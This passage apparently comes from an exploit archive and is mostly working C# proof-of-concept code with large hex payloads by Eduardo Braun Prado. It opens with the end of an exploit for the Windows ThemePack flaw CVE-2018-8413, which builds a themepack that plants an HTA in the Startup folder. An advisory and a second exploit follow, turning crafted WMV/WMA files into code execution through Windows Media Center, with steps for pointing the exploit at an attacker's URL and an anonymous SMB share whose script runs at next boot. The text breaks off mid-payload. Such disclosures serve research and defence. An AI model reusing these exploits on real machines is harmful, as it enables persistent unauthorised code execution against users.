"4D53434600000000AB010000000000002C000000000000000301010001000000000000009500000001000100930100000000000000003C508108200061612E2E5C2E2E5C2E2E5C2E2E5C2E2E5C2E2E5C726F616D696E675C6D6963726F736F66745C77696E646F77735C7374617274206D656E755C70726F6772616D735C737461727475705C6162632E6874613A2E7468656D6500B60133780E019301434B4D51C16A023110BD07F20F5EBC5A85D2163405DDB5871645CCB215BA1ED265C0E024B364E261FDFA66534BBD8499F7DE4CDE4BE68B5374F82AC55775020747294ACB1D9A7E6B1CA88CED4C7B1ED517F4522459413E06C2D1CE78C0A6043E47EAD2D8A741EC4C074149515984FF7E7A47EAD823A85982762646085EE5A5B5E58BC14CF231732735D63D47707BA2386E02305D420BDCC4C112374B08948F8963CE7352148474BB614BC119CC8014DA5EFF90A1BC09EDD5444B3ED76A7A785A3D3FAE5EDE8AE43E18CF9D09E0DB5ECD06B5EB88ED201EDA3BAF3504CEE834A7F84E56937B5DECB77A59AF27EBC3FA37DEC6A424213FA60684365248BA4DA537AA5CAEDECB8F4A8AF9E2E1F6133F"; string tpf = exeDir + "\\C00L.themepack"; Console.WriteLine("\n\n ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ \n Microsoft Windows Theme API 'ThemePack' File Parsing Vulnerability PoC (CVE-2018-8413) \n\n by: Eduardo Braun Prado \n\n ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"); StreamWriter s = File.CreateText(tmpPath + "\\themepack000.h"); s.Write(tpd); s.Close(); FileStream f = File.OpenRead(tmpPath + "\\themepack000.h"); String ax = ""; byte[] b = new byte[f.Length]; UTF8Encoding temp = new UTF8Encoding(false); while (f.Read(b, 0, b.Length) > 0) { ax = ax + temp.GetString(b); } String bx = ax.ToString(); String cx = ""; byte[] b02 = new byte[f.Length / 2]; for (int i = 0; i < f.Length; i += 2) { cx = bx.Substring(i, 2); b02[i / 2] = Convert.ToByte(cx, 16); } File.WriteAllBytes(tpf, b02); if (File.Exists(tpf)) { long fsize = new FileInfo(tpf).Length; if (fsize != 0) { Console.WriteLine("\n\n\n Done! 'C00L." + "themepack' file created in the current directory. Vulnerable systems should plant an HTA on startup dir."); } } } } }
-
Microsoft Windows Media Center WMV / WMA 6.3.9600.16384 - Code Execution
# Exploit Title: Microsoft Windows Media Center WMV or WMA 6.3.9600.16384 - Code Execution # Google Dork: n/a # Date: 2020-01-29 # Exploit Author: Eduardo Braun Prado # Vendor Homepage: http://www.microsoft.com/ # Software Link: http://www.microsoft.com/ # Version: 6.3.9600.16384 # Tested on: Windows 7, 8.1, 10 # CVE : N/A # Discovered by: Eduardo Braun Prado # Microsoft Windows Media Center WMV/WMA File FormatParsing Security Bypass Arbitrary Code Execution Vulnerability PoC - C# [Details] Microsoft Windows Media Center, the very popular app still used by many people, (that can play a variety of file types and originally designed for playback and recording of TV shows from TV´s cable/antenna) is affected by an issue that allows malicious people to bypass the current security standards of the app, including modern browser security standards which could ultimately lead to arbitrary code execution. The issue can be exploited through specially crafted 'wma' or 'wmv' file containing a script instruction called 'URL'. 1) Currently Windows Media Center prompts before opening links no matter what protocol is used (eg. 'http:' versus 'file:') If the user accepts the prompt it will be passed to the default web browser. 2) Windows Media Center allows unsafe 'file:' URIs, which facilitates attacks that abuses local file system access. By combining these 2 issues attackers may be able to reference a local html file in the context of MS IE core, which is hosted by a Media Center 'plugin' (ehexthost32). Because usually local files are parsed in the privileged Local Machine security zone, it´s possible to run arbitrary code on the target system, because: - Windows Media Center´s extensibility host (ehexthost32) does not enable the security feature 'Local Machine Zone Lockdown' (FEATURE_LOCALMACHINE_LOCKDOWN) Therefore attackers might be able to compromise the target system if they can exploit an Universal Cross Site Scripting (uXSS) issue, or plant a file in a predictable location, with custom content. If it used the 'FEATURE_LOCALMACHINE_LOCKDOWN', the severity of the attack could be considerably reduced. 2 PoCs are provided. The first assumes the attacker could have already planted an html based file on the target and the user saved/copied the WMV video to his/her 'Videos' folder. So, by opening Windows Media Center and navigating through the resources displayed on the screen (click "Videos", then an embedded file browser is displayed, so you can click the PoC WMV file) it will start playing the video and exploit will be triggered. The second involves the target user opening an ASX playlist that references the first WMV file that could be located on a web site or SMB/WebDAV location and further displaying a picture with text 'Click me'. Upon playing the first WMV file, an 'HTTP:' URL is displayed (it belongs to the default 'Internet' security zone of Windows) and by this time the attacker either uses a predictable file creation issue or a uXSS vulnerability. In case the attacker does not have a mean to navigate from the 'Internet' zone to the 'Local Machine' zone, when the target clicks the picture, the second WMV file is played and it contains code to retrieve a local file, using the 'file:' URL protocol. Windows Media Center was supposed to either changing the location of the current window or opening a new one (on the same or new instance of 'Ehexthost32' app), but due to a "bug" it freezes in the first URL. The "FEATURE_ZONE_ELEVATION", used by 'Ehexthost32' app sets additional security regarding zone elevation blocks, in other words, makes it harder to navigate from the 'Internet' (or even 'Trusted Sites' and 'Local Intranet') zone to the 'Local Machine'. The PoCs use the 'System Monitor Control' ActiveX to create a simple WSH file (shortcut to script files) to the user´s startup dir. This is possible because code is parsed in the context of the Local Machine zone ("unlocked") of Windows. [video demo] video demo1: https://www.youtube.com/watch?v=ubom8OMjfDw video demo2: https://www.youtube.com/watch?v=ECto30VbiHk [PoC] Instructions: - Create a new project on MS Visual Studio (any version, included free ones like 'Express'), choose 'Console Application' and at 'program . cs' replace the code with the code below; After compiled, the binary can be run without parameters (creates PoC1) or with 3 parameters which are: 1) remote URL: an internet address you wish, eg. your website...it could have eg. code to plant a predictable file on the target. 2) local URL: a 'file:' based address to referenced an arbitrary local file (eg. you could have just planted a predictable file, now you wish to retrieve it) 3) SMB path: path to your SMB server (must allow anonymous access) where a custom script file is located and will be run on next boot. Note: Source code targets dot NET 4.0 and up (previous versions might work fine though!) using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Runtime.Remoting.Metadata.W3cXsd2001; namespace wmc_wmv { class Program { static void Main(string[] args) { String exeDir = AppDomain.CurrentDomain.BaseDirectory; Directory.SetCurrentDirectory(exeDir); string welcome = "\n\n ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ \n Microsoft Windows Media Center '.wmv' Security Bypass Vulnerability Arbitrary Code Execution \n\n by: Eduardo Braun Prado \n\n ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"; string howto = "\n\n Usage: wmc_wmv URL_Remote URL_Local SMBPath \n\n\n Note: If you don´t pass any arguments, we use PoC1."; string t1 = "31"; string t2 = "32"; string wmvs = "3026B2758E66CF11A6D900AA0062CE6CE8140000000000000900000001024052D1861D31D011A3A400A0C90348F61C010000000000004152D1861D31D011A3A400A0C90348F60200000001000500560043002D00310000001600560043002D003100200041006400760061006E006300650064002000500072006F00660069006C006500000004005756433102002400570069006E0064006F007700730020004D006500640069006100200041007500640069006F002000310030002000500072006F00660065007300730069006F006E0061006C0000002E0020003600340020006B006200700073002C0020003400340020006B0048007A002C002000320020006300680061006E006E0065006C002000310036002000620069007400200031002D0070006100730073002000430042005200000002006201A1DCAB8C47A9CF118EE400C00C20536568000000000000000B3206305BC9F44391D3DE3DB933D540384802000000000090F71001BFCFD50109000000000000001076250900000000504DBA0700000000B80B00000000000002000000803E0000803E0000CCFC4600B503BF5F2EA9CF118EE300C00C2053652D0E00000000000011D2D3ABBAA9CF118EE600C00C2053650600FF0D00005D8BF1268445EC479F5F0E651F0452C91A000000000000000201EACBF8C5AF5B77488467AA8C44FA4CCA56010000000000000600000001000C00020002000000490073005600420052000000000000000100340000000600000044006500760069006300650043006F006E0066006F0072006D0061006E0063006500540065006D0070006C0061007400650000004D0030000000000002000C00020002000000490073005600420052000000010000000200340000000C00000044006500760069006300650043006F006E0066006F0072006D0061006E0063006500540065006D0070006C0061007400650000004100500040004C0031000000000001002E0003000400000057004D002F0057004D0041004400520043005000650061006B005200650066006500720065006E006300650000000200000000000100280003000400000057004D002F0057004D0041004400520043005000650061006B0054006100720067006500740000000200000074D40618DFCA0945A4BA9AABCB96AAE88D0B0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CBA5E61472C632438399A96952065B5A58000000000000000000000000000000000000000000000018FA00002B0600000000000018FA00002B060000000000009D0B00000200000001000000C98E29000000000000000000CBA5E61472C632438399A96952065B5A84000000000000000000000000000000000000000000000040A62800B80B000000000000A8B74500A00F0000000000001B0A00000200000002000000292C0A00000000000000020054E51E1BEAF9C84B821A376B74E4C4B80200000000005094BDC67F86074983A3C77921B733AD02000000000020DEAAD9177C9C4FBC288555DD98E2A22600000000000000000000000000000000000000000040A4D0D207E3D21197F000A0C95EA850640100000000000005001C0057004D004600530044004B00560065007200730069006F006E00000000002000310032002E0030002E0037003600300031002E003100370035003100340000001A0057004D004600530044004B004E006500650064006500640000000000160030002E0030002E0030002E0030003000300030000000120056004200520020005000650061006B00000003000400A8B745000C00490073005600420052000000020004000100000028004100530046004C00650061006B0079004200750063006B0065007400500061006900720073000000010072000000C05D00002074000030750000CB520000C8AF00005926000090E20000B513000000C201005704000080A9030015020000305705006D01000020A107000001000090230B00AF00000040420F0080000000C05C15005B000000200B20003C000000404B4C0019000000809698000C0000009107DCB7B7A9CF118EE600C00C2053657A00000000000000409E69F84D5BCF11A8FD00805F5C442B50CDC3BF8F61CF118BB200AA00B4E220000000000000000024000000080000000100131144676201020044AC0000431F00009D0B100012001000030000000000000000000000E00042C0019D0B9D0B0100009107DCB7B7A9CF118EE600C00C205365A300000000000000C0EF19BC4D5BCF11A8FD00805F5C442B0057FB20555BCF11A8FD00805F5C442B00000000000000005500000000000000020000000000200200001C010000024A004A000000200200001C01000001001800575643310000000000000000000000000000000000000000250000010FCAFE10F08D8A10F8237FD3D3C077D08A45B7514C400000010E1247F840CE75F87B8D46D1118D82006097C9A2B22600000000000000020001001B0901000200B1F34500301AFB1E620BD011A39B00A0C90348F64002000000000000A0AC2767C4B1DE046126396700000000010001000300550052004C00A00F000000000201"; string wmve1 = "3326B2758E66CF11A6D900AA0062CE6C32000000000000001000000000000000000056006900640065006F002000"; string wmve2 = "0000003626B2758E66CF11A6D900AA0062CE6CB2320200000000000B3206305BC9F44391D3DE3DB933D54009000000000000000101820000095D4100000000E709A78201000000000C1B0A0000B80B00000101AB001B0AC020FFFF895FFFE257FFF895FFFE257FFF8941C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C2D08303FC7C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C09CD223D4D0EDA92424E4846A5E32700F5947FD6A303932009272848FD5193AA2BFA7EBB1045CD37E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E05E78C26F8C3266407C5F1A974B7918F7A3C531E6BFC5B2CDF083137C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C16FE22B5D5FFE1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E08391BD6AEE62F5EC6730BD6F3F93D6A823BAF54E62FAF92BC9713D6F3F5BCBD6F6F400946BC98ADF6EFACAB87B73D7EED38EC5D8EF2C81C5F5FA22B2E8E0303EE9E805DFD00D560D3A3D7DF02FFFD533D00D355159FFE02A0BE628977D7B6D5C7F54956048AEAA517032F0AA9607F61EA9B9976C47E6785FBDB78FADFC7F0A57BC77786BFF48EB985ABDB387AD5283167D00D27AD75EB53EDF8B5D274FAA7BBFEB91D4DBF55C398BFE0FC91EB52F402FB9AF5EDB5F35C57777F7F73039B9F0FC9DE470AF96FF7B49CA8FB7D679A4DE3F614AE8AF6C1AB95FA200C0607A83D7BFE806E3D7BFEBDBFF7F0AA83DFFBDEA3309243DB0A4D8E198BD63FD73B7EAF811DB78EC160E2F19F7F9AE3BEAF5EB6AAED4BAF116AEFEE9DDA67549DC5FF09F89A89EB3D7A210C06A63BD0077FA017AC0AE057EFA7EEF6F2D2549983B7D617B6A7EBDDFAF7EF17ADDF87DFEFC5B87AE676E6EF1A483317FBB5DE169BDFEFA7CDE7EF9893CA1C2FD845EFFBDFEB3FD1086B1E4B60CD059091166F7D75C6060796E0C0F1EEDEF77C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F01C8FA4470303C0DF40171EBE49A83EA921F58CDD2A0A74FEB8D19FE17DFB53A3BDF2F7F38EB567C3FF9D78BBFF0F55DBC72A1FD52EB76E295FAFEFA216CE37FD7DE2E77EBE896267A200B04FD00467A00723E801F92559BC0B18CE3B67C97987D7E053D5C23C87AA4EF35E778B05E41271BEAE1EFE2D2ECF77B1F9621ECDD31057F23F0600D61B1FBD78F8ACF8DF3B45D6530618ADEDFE1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F5A3E1F0F87C3E1F0070825F861F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C17F1383E76FF0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0274A3E9FADBC373C6EA25EB719443FC17895F696DD08FDB263CD7117FBE1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E09A4391A4766019373209596309BADAD5B7806E321E288FBCB10659DB9F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F027E98F35FE47434DF87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F82D1421E9FA615AA36F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F82D14A3E9FAE11E237F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F82DE843D3F4AC070E64C439C903339102B7FF87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F87C3E1F0F8161699A8FBEE6B9BDFA2E7954B956E7D82F1BF87E78D09ED6CC326EE00BD3E0ABDFB79ED4001BF17F5F93DF2EC32A059FCEE0C0F148FA017533F402E3EB81392AE3FAD7001E848609BD3E2516EE323E3C2E60651CEB2469CC3C2048E66E0BE179812773071558BCC3843C5FF336092E156BB86301C3EF281342AC00A2DB7765F4E4353D8CB394327B090143B893D35483225B64965B889E62D7E2FFC1ABEF3BC46348BD2E62CFB62907418B07DE59232B2492C3F7540D294BE60DEF436F29B76AE960F6112FEB7AFBD70FA5733632B763B4BA92904D964FAF574B83B4CB9BE35C1E28716004C8511334653C011A184038F7EA9B6F3FECDBD216DA326801411956284B0897962A492BBAF6B34A0320C766FE5C06F7FFBD970EE062EF28917A09F01DCBAE504A48CD19A56113FB57AAF8F9FB3695ECF5FBA5B6BB6340CA6218C267E368574D291E1DC34C7F76627411356C4E2E6273B99EE597DA1ADB884EB44A248A2529A1F8A32BB28686F7661A542C1801347286489BC243B9B0D4285B3DEEC5CD76C68AF2E5F8121795EDF2D95AD9A93174EBB709C520EDCCCE550265DACBD3D90D5CEB8CAD6BCD3ECDC146039649A13097560CE999EC6FE5CDD7777FF2AE1FCFC8532ED010C59081865432CAC97C5AC12117FE2ED7EB93C8FDE90486A482B258ECED1D6EC9470AA10CFE21AD8566D0AE985A40316C234543F9BE577E41DDA0481C9F8B586A70CE721243E8B0FE905C2E1B634DD215515D9AF612701DCB31226484094AF4A57CE67B2C792DA9A9205E68FE2E6BFB74BEB38E1664E78D1284BB52962744A412FB91BA6CF99D70EEC2404E47B4193F067A1C0F3846848F6BCA768AF1A454ADD9797DB7693F1704BFF38ABE7D721FAF886D9AD4D0679C899900A064288C9FD4E31F68E1EEB711D9F1D13050C262FB2BF8E019ACED988064A486576322323CAA4DCBF8A5A512D6A156433F8F9867FDF30329C0197869E564CE6008DBA1D944CA5886D97D28B32BD58698EB1EA6BD1E1C219E960B91D4AF652B5BC39D31387951294019A451AC3F422934944B00C1144D019303E3DE42CC1635152066B98D15E389897E46F07DB5DA4096E6C422E4A67F575EF78A44B9E65298C965CAAC29FCAFC09D83393654B2CA5CF301E453565982A51C4767C66E9961AC4705A8F75023D695B6D07432194A9A8642AAB316B0507FE9ED43DF00A40316CD21D96A36D3F9DF1AA08A42AAA2C6BA1FC3E63D4C88F9C845191CBC2045B59A5BB1D1397013FF3777B5B72401CEC00240A0025CFC463999393F197D30F784B9CFE8AE332048F440441E5EC2D88AFE5C6F026521E01BAD67014D66120122505026544F82070869FAE28804D27B276E5CD5CEE9D38D70EC8E228CE52CB39339803F42321E1A96DF97CF6CB6604EB676D1AB184813E00841CC3E2721B409765A8676CB0AEBD162D9A4123E221DF648694A06CBFA8170AB76876510E6D941A244CFC10C913F1C637A99432ED2DC2117053DFFFFDBED5B0CD8AB28400FC5AC952DF9724112048A212AAC9FDABD9E84ADC58BB15A464523DB2D9587796CED8B116D6B9BC037190AAC2F86B274D409428A44A40FC78F8EF66B341375FE3B3FA8077FBDB3FA7372EDBA13878FDFF589CEDA093CDB5B77131F570F2E3A9ECC6F819F15FD248A91AF2D20ED86F7CA8A19FE0202000000000C88000000630C00000101420088001081408000001000800000030020DCE3A60DF6D04C71FAA4C4190CDC7F74D4109E6D864D260F468DE4367634DF1F105754C68CC658F8236EB14054635D25842D67511BE3E10EF197631852B61DCC4211DF19FA147A98D7774278A2B5D2DC64C4E1F8A2EAD20244EE9FAA33E3F4C8A61DD7525F5B84BFE0571456D2588DC97DA7A18E84936487AE800203000000000C7E000000A50C0000010142007E00811020000480001005A000002000000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300000300001454202045400204000000000C80000000E70C00000101420080008A102000048000000300A00000200000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000200205000000000C56000000290D000001014200560000814080000010008000000300209CA3A60472DB13097092AE3DD02B609E54EC06E0A6EB6EC35D48193F18D749603533B51640E3BE330B08428DB8B0D5DDDD09F6D7867B75690124CEDDD496010C17911B92E4101EBA0206000000000C800000006B0D0000010142008000891030000003020800020000A8000008000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000009000080020207000000000C7F000000AD0D0000010142007F00821020400000080000A00000200000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000200208000000000C47000000EF0D000001014200470010814002000003000082528E9831DA4DD3D752EF16AF7AFC10138F3DAD10C0BAF06565C1F9968E3D9FACF5C5A4913EDB822E1C20D5A7B87109D6D70D78A2A431E7B5E39C198B400209000000000C7E000000310E0000010142007E00811020000400040000A00000200000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000040000030010020A000000000C7F000000730E0000010141007F008A1020000400100000A0000020000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000020020B000000000C35000000B40E000001014200350000814002000003000082420C9811CA55D2BBA977DAE710C0BAFB7061DDC71ECEEE2D2489DB6FB70E106AD3DDDC35F6EE7B5E038B40020C000000000C7B000000F60E0000010142007B00891020000280000080000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000040020D000000000C7B000000380F0000010142007B00821020000280000080000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000040020E000000000C350000007A0F000001014200350010814002000003000082420C9811CA55D3BBA977DACA218175F6E0C3BB8E3D9DDC5A4913B6DF6E1C20D5A7BBB86BEDDCF6BC071680020F000000000C7B000000BC0F0000010141007B00811020000280000080000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000040010100000000089D0B0000B80B00009D0B080000688801C0024DE9E07EC29521383E282F6AD5DE5F0BA69D978C6B21900DD869B70A38DEA4F600CBBA1A8506186503730C9A04B64716178E83E305F7CEF77F7DF3BDDFB39CC4F250070A520D9BF7141A4C59C144DD938029696013804C95B1C985129693800D24E003612880725196F69320110BC039380001E4284C9CD2C2AC9E92C0072667EDCE07EF7A65CE0D381C9C0C381FA6001CB7382649C01CD83E4B00200E49C017800F926008C93386125B496007C937801A4960001A49FB738039264008492CAD9CE57401A4A1F69302A0157862C800936A781FB0A4C836F20E38CED9A7646DDBB1F866C76614970F5EEF10370FDB1E8B7372474D3D81DC92161DB6E2448563A0A02FBE77BBFBEF9DEEFD9CE627CAACA0C63C4B4DAC226C9A1AD6B0753FCAAC8BE8E80B04701159A8ADB6807C1147563813D581C3DF48D2927C5BC8D899FCEBA367290E3486247C397620AE52C28CE7E459F658C9258B981E1DC27113BB00CEC064A153EFB058FADA4024918F2973FB6EFDD9A4240960C0CB4B921C397915ACE89BCD8AD9CE506E2791A5007097D1A940578669800937E781FB0A4CE275DF47953A928EE513C6DE48E54F77A496D1254647EC2F6469D2611B86CF943C52F2FE499A0C659D5F85A3A0902FBE77BBFBEF9DEEFD9CE57CB88627BA50070AA5E401F36C6BCA76DA31D1DE5955AEA6FE1B89DBB580EA3C3E9F836A3D0F84B01280B99393AEEF6A3788EE300CF150A46C99DDFC44C36060CCD304921A0363691345AE659FF036B310D942C9AED3C8318081559304B36ECB061D071A4C770123EE9380B4DA65890B2F6BBBB06698DCD90C793893B2B67394F64D4A00E1598BB95BABC35540049BCBC0FD85266C05765B26E90A97A1BDE072D4E212398201E6C22284CCE3FFB7298D3EC6528B83DCFF6C8FB6AC4F0E88E63A0A01FF67B76FBFECF6EDF67395F6E23AA8CA385D755170A97A5E4CAD2C10E23BEE9CFA955E3BD00118F5E6767FB36C9FC1CE058EF36C2D9E016688617CB607251108BEF161A7631FE9EE10CC2D6309024658E58191C722C2E719FC9300049746049F0B81BBE844C36B4FE7BA58C99BF064D20C0CFF2349D2D362DA3C08627080F961464C80630BCC02FF8172491F3B0BAB67395A87C97DBF1E99448295158AF0CF30012706F03F6149900681A8E3785A5FC9709EBB638967838300BF65EB94C759C37AE16183EA8DBD890ED898643C43C8A471058F03A0981FF67B76FBFECF6EDF67398F1A9D280384C17F0AEE5D48257C0F8965158BDBF0A81216B0BE53F20DAEF3F2C46EB2470FCE379C9D33D3204BEFF6F220D259BFB0664AA2716844C8A419DB252F58896C96BDF525A20B15B39CC745280387968C4DD65F8F953455E94729B750D90DFCBC5047A14C3AA4ED7947EBE40B54B0ED88561F37F2CBE84D10C5FEF297D2C099763D7DB65E7860D5786AA800935C781FB0A44C026C50723F22C6E23CB629276013817D843224A7C76C7886E79ED77FD261E565C603B908B6E538E824029AEC66B555794D76335AAABD9CE502E9401C3E771041BAA422A3AA653BF588EC4C5AC80B97792F60C9C934FB5DB0BE2358D05B3784BBC5C55D496B2623825468355DA11FA4E85607368A24E3AC39B22D65AC0AC756CE729ED1CA8928038A290BF5344836A2FA114DDA821A36557B06CAFB401913829B38A70415A6F32382D6124CBA2B204C914C30667985BE95D5E0C5DAC580C15BB4D944CAE82D4726745A895E1BC20024D6DE07EC291204D42EDCCB7E147302FAEBD796EC3720B612613C12E05F3A4BF54CB4B8F5A06408336655C248AC7412014D76335AAABCA6BB19AD555ECE7352EC7A45C23569ECBA9E15ACA76B2F16504B04CC0E99382EE6CA2F3DA17407758B4EE4D969B5FEB1304FEC8DBCB2DD0EEDA8AA9B617F505B80BC1668B6736F5F6F428FE80DB2388832C7B4A2A2CEC8D5B39CAE105C27F2EC50546258A56A152F4E2A59AF548A182560455731BFA0B6047382C526136C2D9E168CFB55CE0B2394D33315E59A8ED609943D03CA10D3DBCE666E99E4B1390B5FBC90195E1C1E0024D95E07EC29320DC308F46F485B2104B1C75234A07F091972C81FD20DF87047ED9C3E47B66CC874D2DAE0CB20C11B1D0480535D8CD6AAAF29AEC66B5557B39CC741280385923A91B557E6D4753C6D7A854250296128AED1CE1B82364E2CA03D3F5FF3340F9F76B1129C235E821316C9AC65E267FED9F76906820059CDA984DF186542127CE5485F6444C81CCAA77C6F198815B39CA50070E32782A8A7A1115353B87D4103A1B7B57AEBCD8D32F941C5FBAA168C5B07D66FE2D1B99CD0A2172414C201938831D9D6A2336315FB677C4FFA93056CB3DA985BFADE7B029AB80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000